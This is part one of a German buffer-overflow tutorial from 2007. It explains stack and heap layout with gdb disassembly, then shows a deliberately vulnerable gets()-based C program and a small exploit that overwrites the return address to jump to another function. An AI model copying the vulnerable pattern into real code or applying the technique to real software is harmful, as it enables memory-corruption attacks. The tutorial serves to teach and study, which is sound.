Articlename: Buffer Overflow Tutorial Teil 1: Grundlagen Keywords: Buffer Overflow, Stack overflow, heap overflow, stack overflow tutorial, heap overflow tutorial Date: 06.06.2007, 11:34 Views: 4235 Categoryname: Security ---------------------------------------- Vorwort ------------------ Die unzureichende Kontrolle von Eingabevariablen sind immer noch die häufigsten Schwachstellen von Software. Bei Programmiersprachen wie C oder C++ tritt, bedingt durch schlecht gesicherte C-Standardfunktionen, das Problem auf, dass über die Grenzen des Speichers, der angelegt wurde, geschrieben werden kann, und somit andere Inhalte im Speicher verändert werden können. Dieser Vorgang nennt man einen Buffer Overflow [1]. Im Konkreten geht es dabei meist darum, die Rücksprungadresse von Funktionen zu verändern, die das Einschleusen von Code ermöglichen, da wegen der Von-Neumann-Architektur [2] Daten und Programmcode im gleichen Speicher abgelagert werden. Wenn man sich die aktuelle Situation der Sicherheitslücken von Programmen anschaut, wird man feststellen das ein Großteil der bekannten Sicherheitslücken entweder Heap-oder Stackoverflow Vulnerabilities sind. Wärend man früher in Interneteinführungen häufig hörte, dass .exe, .bat Datentypen gefährlich, Videos, Bilder, oder Audiodateien hingegen ungefährlich seien gibt es heute Schwachstellen in allen möglichen Formaten: [3],[3] und [4](auch wenn es sich hier um eine Playlist handelt). Auch interpretierte Sprachen sind nicht von Buffer Overflows gefeilt, man braucht nur eine Sicherheitslücke im Interpreter. Wir werden uns in diesem Buffer Overflow Tutorial die Grundlagen zum ausnützen Buffer Overflows aneignen, und die gängigsten Fehler ausnutzen. Dabei soll sowohl Theorie, als auch Praxis behandelt werden. Speicher ------------------ [IMAGE] Bei heutigen x86er Architekturen arbeitet jedes Programm in einem virtuellen Adressraum, das die Memory Management Unit (MMU) dem physikalischen Speicher zuordnet. Der virtuelle Adressraum wird in drei Bereiche eingeteilt: - Stack Der Stack fängt, bei x86 Prozessoren, am oberen Ende des Speichers (Bsp: 0xFFFFFFFF) an, und wächst nach unten (in Richtung 0x00000000). Das Wort Stack kommt aus dem Englischen und bedeutet Stapel. Er wird so genannt, weil er ein LIFO [5] ist: wenn etwas hinzugefügt wird (push, schreiben), dann wird der Stapel erhöht, wird hingegen etwas zum lesen heruntergeholt (pop), dann wird der Stapel erniedrigt: ein Element wird gelesen und gelöscht. Ausserdem gibt es noch eine dritte Methode, die Top oder Peek genannt wird: es wird nur gelesen, aber nicht gelöscht. Der Stackpointer(ESP) wird dabei immer auf die letzte Adresse des Stacks gelegt. Die Operationen sind im Bild rechts zu sehen. Der Stack wird in C/C++ bei statischen Variablen und Prozessorregister benutzt. Ein Beispiel, dass Speicherelemente im Stack anlegt: ------- Code ------- char Test[100] ------- End-Code ------- [IMAGE] - Heap/Daten Der Heap [9] (Halde, Haufen) wird dazu verwendet um dynamische Daten zu verwalten. Im Heap müssen Speicherbereiche nicht wie im Stack wieder umgekehrt freigegeben werden, beim Heap kann Speicher dynamisch angefordert werden. Der Heap wird von Funktionen wie malloc() und realloc() oder von new benutzt und mit free() bzw. delete wieder freigegeben. - Codebereich Hier wird der Code, der ausgeführt wird, gelagert. Stack Overflow ------------------ Um Stack Overflows verstehen zu können, müssen wir uns den Aufruf einer Funktion genauer ansehen. Dazu verwende ich ein ähnliches Beispiel wie aus dem Heise Artikel [6]. Ich kompiliere zuerst das Programm, und disassemble es mit gdb, einem guten Debugger, der bei fast allen GNU/Linux Distributionen dabei ist: ------- Code ------- Datei main.c: int Testfunktion(int a, int b) { char Buffer1[8]; char Buffer2[16]; return; } int main() { TestFunktion(0, 1); } Kompilieren: simon@Cottonmouth:~/cpp/OverflowTutorial$ gcc -ggdb main.c -o test simon@Cottonmouth:~/cpp/OverflowTutorial$ Disassembeln: simon@Cottonmouth:~/cpp/OverflowTutorial$ gdb test GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas TestFunktion Dump of assembler code for function TestFunktion: 0x08048324 : push %ebp 0x08048325 : mov %esp,%ebp 0x08048327 : sub $0x20,%esp 0x0804832a : mov $0x1,%eax 0x0804832f : leave 0x08048330 : ret End of assembler dump. (gdb) ------- End-Code ------- Mit disas TestFunktion haben wir den Assembler Code von der TestFunktion ausgegeben. Hier das ganze nochmal kommentiert: ------- Code ------- push %ebp // Sichert den EBP mov %esp,%ebp // Kopiert den ESP(Stack Pointer in den ESB) sub $0x20,%esp // Erhöht den ESP um 0x20 und macht damit mehr Platz für beide Buffer mov $0x1,%eax // Schiebt 1 in das EAX Register, Rückgabewert leave ret ------- End-Code ------- Wenn diese Funktion jetzt aufgerufen wird, werden zuerst die beiden Variablen int a und int b auf den Stack kopiert. Anschließend wird die Rücksprungadresse (4 Bytes) auf den Stack gelegt. Bei einem RET (return) aus der Funktion wird der Instruction Pointer(EIP, zeigt auf den auszuführenden Code mit der Rücksprungadresse geladen. Nach der Rücksprungadresse kommen nochmal 4 Bytes, die für den EBP [7] (Base Pointer, ist dafür zuständig um ein stack frame zu erstellen, der Stackpointer verändert sich bei jedem push/pop, damit kann man besser mit Variablen in der Funktion arbeiten) benutzt werden. Anschließend kommen unsere Variablen aus der Funktion, die zwei Buffer. Der Stack schreibt, für unsere Zwecke gut geeignet zwar nach unten, die Arrays die in C/C++ verwendet werden(in diesem Fall unsere zwei Buffer) gehen aber aufwärts. [IMAGE] Wenn jetzt eine Funktion benutzt wird, die es uns erlaubt über die Begrenzung vom Buffer1 zu schreiben, können wir nach oben schreiben, so dass der ESP und die Rücksprungadresse überschrieben wird. Beispiel: Veränderung der Rücksprungadresse ------------------ Als Beispiel verwenden wir ein ähnliches Beispiel, wie das vom BuHa ExploitMe Contest [8], hier geht es darum die Rücksprungadresse so zu setzen, das sie in eine andere Funktion springt. Dabei wird die unsichere Funktion gets verwendet, die nicht auf Speicherlänge überprüft: ------- Code ------- Datei main.c: #include #include #include void Done(void); const char * const BrokenFunction(void); int main() { printf("You wrote: `%s'\n", BrokenFunction()); return 0; } const char * const BrokenFunction(void) { char buf[128]; gets(buf); return strdup(buf); } void Done(void) { printf("Got it!\n"); exit(0); } Kompilieren: simon@Cottonmouth:~/cpp/OverflowTutorial/1$ gcc main.c -o main /tmp/cc4bmeRp.o: In function `BrokenFunction': main.c:(.text+0x44): warning: the `gets' function is dangerous and should not be used. Disassembeln: simon@Cottonmouth:~/cpp/OverflowTutorial/1$ gdb main GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas Done Dump of assembler code for function Done: 0x08048479 : push %ebp 0x0804847a : mov %esp,%ebp 0x0804847c : sub $0x8,%esp 0x0804847f : movl $0x80485b9,(%esp) 0x08048486 : call 0x804832c 0x0804848b : movl $0x0,(%esp) 0x08048492 : call 0x804835c End of assembler dump. (gdb) disas BrokenFunction Dump of assembler code for function BrokenFunction: 0x08048458 : push %ebp 0x08048459 : mov %esp,%ebp 0x0804845b : sub $0x88,%esp 0x08048461 : lea 0xffffff80(%ebp),%eax 0x08048464 : mov %eax,(%esp) 0x08048467 : call 0x804831c 0x0804846c : lea 0xffffff80(%ebp),%eax 0x0804846f : mov %eax,(%esp) 0x08048472 : call 0x804830c 0x08048477 : leave 0x08048478 : ret End of assembler dump. (gdb) ------- End-Code ------- Wir wollen in die Funktion Done() springen, dazu wählen wir dei Adresse 0x08048479, die wir mit disas Done bei gdb bekommen. Damit wir die Rücksprungadresse überschreiben können, müssen wir jetzt 128 Bytes + 4 Byte EBP und anschließend die neue Rücksprungadresse für den EIP(Instruction Pointer) einfügen. Das folgende Programm schreibt zuerst 22 * 6Byte "Hallo!" und anschließend die neue Adresse in den Buffer: ------- Code ------- Datei exploit.c: #include #include #include //Unsere Adresse: 0x08048479 //Wir brauchen: 132 bytes: 128 + 4 EBP int main(int args, char **argv) { int i = 0; for(i = 0; i < 22; i++) printf("Hallo!"); //Bringt die Adresse auf 4 Byte, unsigned unsigned EIP = 0x08048479; fwrite(&EIP, 1, 4, stdout); return 0; } Kompilieren & Ausführen: simon@Cottonmouth:~/cpp/OverflowTutorial/1$ gcc exploit.c -o exploit simon@Cottonmouth:~/cpp/OverflowTutorial/1$ ./exploit | ./main Got it! ------- End-Code ------- Wir haben unseren ersten Buffer Overflow ausgenützt. Das nächste Kapitel kann bei Problemen mit diesem Beispiel helfen. Stack-Adressierung ------------------ Das letzte Beispiel wurde mit einem gcc4 kompiliert, deshalb sind zwischen dem Beginn des Buffers, und der Adresse 132 Byte (4 EBP + 128 Buffer). Das funktioniert nur, weil bei gcc4 die Praktik mehr Speicher zu reservieren, als nötig ist wieder zurückgenommen wurde, die bei gcc3 eingeführt wurde. Wieviel Speicher reserviert wurde, das zeigt uns der Assembler Code (lea 0xffffff80(%ebp) ,%eax). Zusammenfassung ------------------ In diesem Teil ging es darum, die Grundlagen über die Speicherverwaltung zu erlangen, dabei wurde der virtuelle Programmspeicher und der Aufbau einer Funktion erklärt. Am Schluss wurden die Grundlagen eines Stack Overflows erklärt und ein praktisches Beispiel zur Manipulation der Adresse durchgeführt. Im nächsten Teil wird es darum gehen, den Buffer mit Code zu füllen und auszuführen. Ausserdem wir eine Format-String-Attacke gezeigt. Verweise ------------------ - [1] Wikipedia zu Buffer Overflows (http://de.wikipedia.org/wiki/Buffer_Overflow) - [2] Wikipedia zu Von-Neumann Architektur (http://de.wikipedia.org/wiki/Von-Neumann-Archite ktur) - [3] Microsoft Windows Graphics Rendering Engine WMF SetAbortProc Code Execution Vulnerability (http://www.securityfocus.com/bid/16074/info) - [4] Winamp Three Playlist Parsing Buffer Overflow Vulnerabilities (http://secunia.com/advi sories/18649/) - [5] Wikipedia zu Last In – First Out (http://de.wikipedia.org/wiki/LIFO) - [6] Heise Artikel (http://www.heise.de/security/artikel/37958/0) - [7] NASM Beschreibung: EBP, Base pointer (http://web.mit.edu/nasm_v0.98/doc/nasm/html/nasm docb.html#section-B.4.65) - [8] ExploitMe Contest von BuHa (https://www.buha.info/projects/exploitme-contest/) - [9] Wikipedia zu Heap (http://de.wikipedia.org/wiki/Dynamischer_Speicher) Weblinks ------------------ - Ein praktischer Artikel von Mixter (http://mixter.void.ru/exploit.html) - Guidelines for C source code auditing (http://mixter.void.ru/vulns.html) - Ein Haufen Risiko in c't 23/06 (http://www.heise.de/security/artikel/72101)